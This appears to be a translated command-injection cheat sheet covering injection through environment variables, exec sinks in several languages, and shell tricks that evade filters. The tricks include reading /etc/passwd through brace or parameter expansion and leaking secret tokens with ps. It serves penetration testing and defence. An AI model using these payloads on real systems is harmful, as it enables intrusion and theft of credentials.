# 命令注入

## 环境变量

### BASH\_ENV

您可以使用 `BASH_ENV` 与 bash 来实现命令注入：

```bash
$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x06-bash_env)

### BASH\_FUNC\_\*%%

您可以使用 `BASH_FUNC_*%%` 根据环境变量的值初始化匿名函数并为其命名。以下示例将 `myfunc` 函数添加到 bash 上下文中：

```bash
$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)
```

此外，您可以覆盖现有函数：

```bash
$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x08)

### ENV

当您强制 [dash](https://linux.die.net/man/1/dash) 以交互方式运行时，dash 将查找 `ENV` 环境变量并将其传递给 `read_profile` 函数：

```c
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
    read_profile(shinit);
}
```

`read_profile` 将打印 `ENV` 内容：

```bash
$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

您可以使用 `sh` 获得相同的结果：

```bash
$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x03-dash)

### GIT\_\*

以下 `GIT_*` 参数可用于滥用 git 目录：

* [GIT\_DIR](https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables) 是 `.git` 文件夹的位置
* [GIT\_PROXY\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coregitProxy) 用于覆盖 `core.gitProxy`
* [GIT\_SSH\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresshCommand) 用于覆盖 `core.sshCommand`
* [GIT\_EXTERNAL\_DIFF](https://git-scm.com/docs/git-config#Documentation/git-config.txt-diffexternal) 用于覆盖 `diff.external`
* [GIT\_CONFIG\*](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT)。现代版本的 Git 支持通过 `GIT_CONFIG*` 环境变量设置任何配置值

### LD\_PRELOAD

`LD_PRELOAD` 是一个可选的环境变量，包含一个或多个共享库或共享对象的路径，加载程序将在任何其他共享库（包括 C 运行时库 `libc.so`）之前加载它们。

在 Linux C 中，函数可以在函数定义中使用属性进行声明。这是通过将所需的属性添加到函数定义中来完成的。有两个感兴趣的属性，[constructor 和 destructor](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html)。具有 `constructor` 属性的函数将在程序执行 `main()` 之前运行。对于共享对象，这将发生在加载时。使用 `destructor` 属性声明的函数应该在 `main()` 返回或调用 `exit()` 时运行一次。

{% hint style="info" %}
LD\_PRELOAD 可用于覆盖标准的 libc 调用，查看 [为了乐趣和利润滥用 LD\_PRELOAD](https://www.sweharris.org/post/2017-03-05-ld-preload/)
{% endhint %}

换句话说，您可以编译一个共享库在加载时和/或返回之前调用：

1. 重用以下代码来编译共享库：

   // C code for LD\_PRELOAD injection example // This is a generic LD\_PRELOAD example that can be used for testing
2. 使用以下命令编译共享库：

   ```bash
   $ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
   ```
3. 利用：

   ```bash
   $ LD_PRELOAD=./inject.so git -v

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /usr/bin/git

   Unknown option: -v
   usage: git [--version] [--help] [-C <path>] [-c name=value]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
           <command> [<args>]

   [-] Inject.so is being unloaded!
   ```

   ```bash
   $ LD_PRELOAD=./inject.so id

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /usr/bin/id

   uid=0(root) gid=0(root) groups=0(root)
   ```

   ```bash
   $ LD_PRELOAD=./inject.so bash -c "echo 'hello'"

   [+] Inject.so Loaded!
   [*] PID: 1337
   [*] Process: /bin/bash

   hello

   [-] Inject.so is being unloaded!
   ```

参考：

* [LD\_PRELOAD：如何在加载时运行代码](https://www.secureideas.com/blog/2021/02/ld_preload-how-to-run-code-at-load-time.html)
* [elttam 博客：远程 LD\_PRELOAD 利用](https://www.elttam.com/blog/goahead/)

### PERL5OPT

[PERL5OPT](https://perldoc.perl.org/perlrun#PERL5OPT) 指定命令行选项，但仅限于接受选项 `CDIMTUWdmtw`。

`PERL5OPT=-M` 可用于加载 Perl 模块并在模块名称后添加额外代码：

```bash
PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERL5DB

[PERL5DB](https://perldoc.perl.org/perlrun#PERL5DB) 指定用于加载调试器代码的命令。`PERL5DB` 仅在 Perl 以裸 `-d` 开关启动时使用。

```bash
PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERLLIB 和 PERL5LIB

[PERLLIB](https://perldoc.perl.org/perlrun#PERLLIB) 和 [PERL5LIB](https://perldoc.perl.org/perlrun#PERL5LIB) 设置在标准库中查找 Perl 库文件的目录列表。如果定义了 `PERL5LIB`，则不使用 `PERLLIB`。

如果有办法将恶意的 Perl 模块写入文件系统，`PERLLIB` 和 `PERL5LIB` 可用于执行任意命令：

```bash
$ cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("cmdname arg1 arg2");
EOF
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [CVE-2016-1531 利用](https://github.com/HackerFantastic/exploits/blob/979c345959349cb829e473faae9fe040b7290876/cve-2016-1531.sh)

### PYTHONWARNINGS

[PYTHONWARNINGS](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONWARNINGS) 等同于指定用于警告控制的 [-W](https://docs.python.org/3/using/cmdline.html#cmdoption-W) 选项。参数的完整形式是 `action:message:category:module:line`。

如果指定的类别包含点，警告控制会触发任意 Python 模块的导入：

```python
# /Lib/warnings.py
# ...
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
# ...
```

如果有办法将恶意的 Python 模块写入文件系统，`PYTHONWARNINGS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec.py << EOF
import os
os.system("cmdname arg1 arg2")
EOF
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null
```

但是，您可以使用 Python 标准库中的 `antigravity` 模块来运行任意命令。运行 `import antigravity` 将立即打开浏览器到 `xkcd` 漫画，该漫画开玩笑说在 Python 中 `import antigravity` 会赋予您飞行的能力。`antigravity` 使用标准库中称为 `webbrowser` 的另一个模块来打开浏览器。此模块检查 `PATH` 以查找各种浏览器，包括 `mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx`。它还接受一个环境变量 `BROWSER`，可用于指定应执行哪个进程。无法在环境变量中为进程提供参数，`xkcd` 漫画 URL 是命令的硬编码参数：

```bash
$ <BROWSER> https://xkcd.com/353/
```

执行任意命令的一种方法是利用 Perl，它通常安装在系统上，甚至在标准的 Python docker 镜像中也可用。但是，`perl` 二进制文件本身不能使用。这是因为第一个也是唯一的参数是 `xkcd` 漫画 URL。漫画 URL 参数将导致错误并使进程退出，而不使用 `PERL5OPT` 环境变量。

幸运的是，当 Perl 可用时，通常也有默认的 Perl 脚本可用，例如 `perldoc` 和 `perlthanks`。这些脚本也会错误并以无效参数退出，但这种情况下的错误发生在 `PERL5OPT` 环境变量处理之后。这意味着可以利用 Perl 环境变量来执行命令。

```bash
$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### NODE\_OPTIONS

[NODE\_OPTIONS](https://nodejs.org/api/cli.html#node_optionsoptions) 指定以空格分隔的命令行选项列表。

如果有办法将恶意的 Node.js 模块写入文件系统，`NODE_OPTIONS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec << EOF
console.log(require("child_process").execSync("id").toString());
EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null
```

如果没有办法将模块写入文件系统，您可以使用 proc 文件系统，特别是 `/proc/self/environ`，来传递 payload。

```bash
$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null
```

但是，有两个约束条件：

1. 使用 `/proc/self/environ` 只有在内容在语法上有效 JavaScript 时才可能。为此，您需要能够创建环境变量并使其首先出现在 `/proc/self/environ` 的内容中。
2. 由于第一个环境变量的值以单行注释 `//` 结尾，其他环境变量中的任何换行符都将导致语法错误。使用多行注释 `/*` 不会解决问题，因为它们必须关闭才能在语法上有效。在这种情况下，需要覆盖包含换行符的变量的值。

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [利用原型污染 – Kibana 中的 RCE (CVE-2019-7609)](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)

### RUBYOPT

`RUBYOPT` 指定命令行选项。

如果有办法将恶意的 Ruby 库写入文件系统，`RUBYOPT` 可用于执行任意命令。`-r` 选项使 Ruby 使用 require 加载库，但这仅限于扩展名为 `.rb` 或 `.so` 的文件：

```bash
$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
EOF
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

## 编程语言

### Go

```golang
// https://pkg.go.dev/os#StartProcess
// os.StartProcess
var procAttr = os.ProcAttr
os.StartProcess(
    "cmdname",
    []string{"arg1", "arg2"},
    &procAttr,
)

// https://pkg.go.dev/os/exec#Command
// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()

// 命令行执行
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()

// https://pkg.go.dev/os/exec#CommandContext
// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()

// https://pkg.go.dev/os/exec#Cmd
// os/exec.Cmd
cmd := &exec.Cmd {
    Path: "cmdname",
    Args: []string{ "arg1", "arg2" },
}
cmd.Run();

// https://pkg.go.dev/syscall#Exec
// syscall.Exec
syscall.Exec(
    "cmdname",
    []string{ "arg1", "arg2" },
    os.Environ(),
)

// https://pkg.go.dev/syscall#ForkExec
// syscall.ForkExec (仅限 unix)
var procAttr = os.ProcAttr
syscall.ForkExec(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall#StartProcess
// syscall.StartProcess
var procAttr = os.ProcAttr
syscall.StartProcess(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall?GOOS=windows#CreateProcess
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcessAsUser
// syscall.CreateProcess 和 syscall.CreateProcessAsUser (仅限 windows)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)
```

### Java

```java
// https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html
// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// 或完整路径
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");

// https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或使用命令
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或完整路径
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();

// https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/Executor.html
// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););

// javax.script.ScriptEngine eval
new ScriptEngineManager()
    .getEngineByExtension("js")
    .eval("js code here");

// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("library path here");
java.lang.Runtime.getRuntime().loadLibrary("library path here");

// https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate(...);
shell.parse(...);
shell.parseClass(...);
```

### Node.js

```javascript
// child_process 或 mz/child_process

// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });

// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });

// https://www.npmjs.com/package/shelljs
// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');

// https://www.npmjs.com/package/cross-spawn
// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);

// https://www.npmjs.com/package/execa
// execa

// https://github.com/sindresorhus/execa#execafile-arguments-options
// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#execasyncfile-arguments-options
// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#command
// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;

// https://github.com/sindresorhus/execa#synccommand
// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`

// https://github.com/sindresorhus/execa#execacommandcommand-options
// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')

// https://github.com/sindresorhus/execa#execacommandsynccommand-options
// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')
```

### Python

```python
# https://docs.python.org/3/library/os.html#os.system
# os.system
os.system("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.popen
# os.popen
os.popen("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/os.html#os.popen2
# 已弃用，在 Python <= 2.7 中可用
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.spawnl
# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.execl
# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawn
# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawnp
# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/subprocess.html#subprocess.call
# subprocess.call
subprocess.call("cmdname arg1 arg2", shell=True)
subprocess.call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.run
# subprocess.run
subprocess.run("cmdname arg1 arg2", shell=True)
subprocess.run(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.Popen
# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_call
# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_output
# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.getoutput
# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")

# https://docs.python.org/3/library/subprocess.html#subprocess.getstatusoutput
# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/popen2.html#module-popen2
# 已弃用，在 Python <= 2.7 中可用
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/platform.html#platform.popen
# 已弃用，在 Python <= 2.7 中可用
platform.popen("cmdname arg1 arg2")
```

### Ruby

```ruby
# 反引号
`cmdname arg1 arg2`

# %x 命令
%x cmdname ;
# %x<CHAR>命令<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...

# shell heredoc
<<`EOF`
cmdname arg1 arg2
EOF

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-exec
# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# 或
Kernel.exec("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-system
# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-spawn
# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-open
# Kernel.open
open("| cmdname arg1 arg2")
# 或
Kernel.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-spawn
# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-exec
# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-popen
# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/IO.html#method-c-read
# IO.read
IO.read("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-write
# IO.write
IO.write("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binread
# IO.binread
IO.binread("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binwrite
# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-foreach
# IO.foreach
IO.foreach("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-readlines
# IO.readlines
IO.readlines("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2
# Open3.capture2
Open3.capture2("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2e
# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture3
# Open3.capture3
Open3.capture3("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2
# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2e
# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen3
# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_r
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_rw
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_start
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_w
# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")

# https://ruby-doc.org/stdlib-2.5.1/libdoc/open-uri/rdoc/OpenURI.html
# URI.open
# 参考：https://sakurity.com/blog/2015/02/28/openuri.html
require "open-uri"
URI.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Object.html#method-i-send
# https://ruby-doc.org/3.2.1/Object.html#method-i-public_send
# 参考：https://bishopfox.com/blog/ruby-vulnerabilities-exploits
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")
```

## Linux 文件

### /etc/environment

[/etc/environment](https://man7.org/linux/man-pages/man7/environ.7.html) 包含指定新 shell 基本环境变量的环境变量。但是，它可以被其他程序使用。Linux 任务调度程序（cron）中的每个执行作业都导入此文件，如果存在由用户（例如 root）执行的作业，您可以滥用 `/etc/environment` 代表该用户执行任意代码。例如，您可以使用 [LD\_PRELOAD](#ld_preload) 来获得代码执行。

参考：

* [FabricScape：逃离 Service Fabric 并接管集群](https://unit42.paloaltonetworks.com/fabricscape-cve-2022-30137/)

## 技巧

### 花括号扩展

花括号扩展是一种生成任意字符串的机制。要花括号扩展的模式采用可选序言的形式，后跟一系列逗号分隔的字符串或一对花括号之间的序列表达式，后跟可选的后记。序言前缀到包含在花括号内的每个字符串，然后后记附加到每个结果字符串，从左到右扩展。例如：

```bash
$ echo a{d,c,b}e
ade ace abe
```

您可以使用花括号扩展来创建 payload：

```bash
$ {cat,/etc/passwd}
```

参考：

* [Bash 参考手册：3.5.1 花括号扩展](https://www.gnu.org/software/bash/manual/bash.html#Brace-Expansion)

### 命令替换

命令替换允许命令的输出替换命令本身。当命令按如下方式包含时，会发生命令替换：

```bash
$(command)
`command`
```

Bash 通过在子 shell 环境中执行命令并用命令的标准输出替换命令替换来执行扩展。

参考：

* [Bash 参考手册：3.5.4 命令替换](https://www.gnu.org/software/bash/manual/bash.html#Command-Substitution)

### 字符编码

有几种处理编码字符串的方法：

1. `$'string'` 单词：

   形式为 `$'string'` 的单词被特殊处理。该单词扩展为字符串，反斜杠转义字符按照 ANSI C 标准指定的方式替换。

   ```bash
   $ a=$'\x74\x65\x73\x74'; echo $a
   $ a=$'\164\145\163\164'; echo $a
   $ a=$'\u0074\u0065\u0073\u0074'; echo $a
   $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
   ```
2. `echo` 命令：

   `echo` 提供 `-e` 选项来解释反斜杠转义。注意识别的序列取决于 `echo` 的版本，以及 `-e` 选项可能根本不存在。

   ```bash
   echo -e "\x74\x65\x73\x74"
   echo -e "\0164\0145\0163\0164"
   ```
3. `xxd` 命令：

   ```bash
   $ xxd -r -p <<< 74657374
   $ xxd -r -ps <(echo 74657374)
   ```

参考：

* [Bash 参考手册：3.1.2.4 ANSI-C 引用](https://www.gnu.org/software/bash/manual/bash.html#ANSI_002dC-Quoting)
* [echo 手册页](https://linux.die.net/man/1/echo)
* [xxd 手册页](https://linux.die.net/man/1/xxd)

### 泄露命令行参数

如果您在 cli 命令中有参数注入，该命令已传递敏感参数，如令牌或密码，您可以尝试使用 `ps x -w` 泄露传递的秘密。

```bash
# 您可以向 <injection here> 部分注入任意参数
$ command --user username --token SECRET_TOKEN <injection here>
# 使用 & 将易受攻击的命令发送到后台
# 并使用 ps x -w 捕获参数
$ command --user username --token SECRET_TOKEN & ps x -w

    PID TTY      STAT   TIME COMMAND
   1337 ?        S      0:00 /usr/bin/command --user username --token SECRET_TOKEN
   1574 ?        R      0:00 ps x -w
```

如果 cli 日志隐藏敏感设置或敏感数据未存储在环境中，这可能会很有用。

如果 cli 日志隐藏敏感数据或敏感数据未存储在环境中（例如，GitHub Actions 提供变量插值 `${{...}}` 用于注入秘密，并且您无法在执行期间访问秘密），这可能会很有用。另一种情况是当您有盲注时，可以将 `ps x -w` 的输出重定向到您有权访问的文件。

### 命令列表

使用运算符 `;`、`&`、`&&` 或 `||` 组合多个命令的执行，并可选择由 `;`、`&` 或 `\n` 之一终止。

```bash
$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # 仅当 command1 失败时
$ command1\ncommand2
```

此外，您可以使用管道用于相同的目的：

```bash
$ command1 | command2 
$ command1 |& command2 
```

参考：

* [Bash 参考手册：3.2.3 管道](https://www.gnu.org/software/bash/manual/bash.html#Pipelines)
* [Bash 参考手册：3.2.4 命令列表](https://www.gnu.org/software/bash/manual/bash.html#Lists)

### 使用 tr 产生斜杠

```bash
$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### 重定向

在命令执行之前使用运算符 `>`、`>|`、`>>`、`<` 等重定向输入和输出。

```bash
$ ls > dirlist 2>&1
$ cat</etc/passwd
```

使用运算符 `<<<` 提供附加换行符的单个字符串。

```bash
$ base64 -d <<< dGVzdA==
```

参考：

* [Bash 参考手册：3.6 重定向](https://www.gnu.org/software/bash/manual/bash.html#Redirections)

### Shell 参数扩展

参数扩展的基本形式是 `${parameter}`；参数的值被替换：

```bash
$ a="es"; echo "t${a}t"
```

更复杂的参数扩展形式允许您执行各种操作。例如，您可以提取子字符串并使用它们来创建 payload：

```bash
$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd
```

此外，匹配和替换在使用黑名单时可能很有用：

```bash
$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}
```

参考：

* [Bash 参考手册：3.5.3 Shell 参数扩展](https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion)
* [Bash 脚本速查表：参数扩展](https://devhints.io/bash#parameter-expansions)

### 特殊 Shell 参数

有几个参数 Shell 会特殊处理。其中一些参数您可用于创建 payload：

```bash
$ i$@d
# $0 扩展为 shell 或 shell 脚本的名称
$ bash -c 'echo id|$0'
```

参考：

* [Bash 参考手册：3.4.2 特殊参数](https://www.gnu.org/software/bash/manual/bash.html#Special-Parameters)

### Shell 变量

